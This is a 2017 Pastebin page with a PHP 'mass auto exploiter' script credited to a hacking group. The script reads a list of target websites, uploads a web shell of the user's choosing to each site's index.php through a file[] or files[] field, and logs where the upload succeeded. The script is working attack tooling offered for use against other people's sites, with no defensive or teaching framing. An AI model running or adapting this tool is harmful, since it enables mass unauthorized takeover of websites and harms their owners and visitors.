SHARE
TWEET

Auto Exploiter All File[] & Files[]

choirurrizal Jul 26th, 2017 544 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. # ShinChan - N45HT - N45HT.WEB.ID
  3. # fb.com/angelia.put - fb.com/ShinChan.admin - fb.com/N45HTOfficial - fb.com/groups/N45HTOfficial
  4. # shinchan0x1945@gmail.com
  5.  
  6. # your list.txt must a single directory with this exploiter #
  7.  
  8. echo "
  9.  ___  _  _  __  _  _  __  _  _   __   _  _     _    _  ____  ___
  10. / __)( )( )(  )( \( )/ _)( )( ) (  ) ( \( )   ( \/\/ )(_  _)(  _)
  11. \__ \ )__(  )(  )  (( (_  )__(  /__\  )  (  ___\    /   )(   ) _)
  12. (___/(_)(_)(__)(_)\_)\__)(_)(_)(_)(_)(_)\_)(___)\/\/   (__) (_)  
  13.    Mass Auto Exploiter file[] & files[] - coded by ShinChan
  14.  
  15.        Thanks to :  PETR03X - Mr.x0x - KillMe - IchiOcha
  16.                        All Members N45HT
  17.  
  18.  
  19. ";
  20. echo " Enter your list target name : ";
  21. $list = trim(fgets(STDIN));
  22. echo " Enter post file name (file[] or files[]) : ";
  23. $filename = trim(fgets(STDIN));
  24. echo " Enter your shell name : ";
  25. $shell = trim(fgets(STDIN));
  26.  
  27. echo "\n";
  28.  
  29. $buka = fopen("$list","r");
  30. $size = filesize("$list");
  31. $baca = fread($buka,$size);
  32. $sites = explode("\r\n", $baca);
  33. foreach($sites as $site){
  34.     if(!preg_match("/^http:\/\//", $site) AND !preg_match("/^https:\/\//", $site)){
  35.         $vuln = "http://".$site;
  36.     }else{
  37.         $vuln = $site;
  38.     }
  39.     echo "Exploiting ".$vuln;
  40.     $site = "$vuln/index.php";
  41.    
  42.     $ch = curl_init();
  43.     curl_setopt($ch, CURLOPT_URL, $site);
  44.     curl_setopt($ch, CURLOPT_POST, 1);
  45.     curl_setopt($ch, CURLOPT_POSTFIELDS, array("$filename" => "@$shell"));
  46.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  47.    
  48.     $hajar = curl_exec($ch);
  49.    
  50.     if(preg_match("/$shell/i", $hajar)){
  51.         $save = "Success! $vuln/files/$shell";
  52.         echo "\n$save\n\n";
  53.     }else{
  54.         echo " This site is not Vulnerable!\n\n";
  55.     }
  56.     curl_close($ch);
  57. }
  58. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top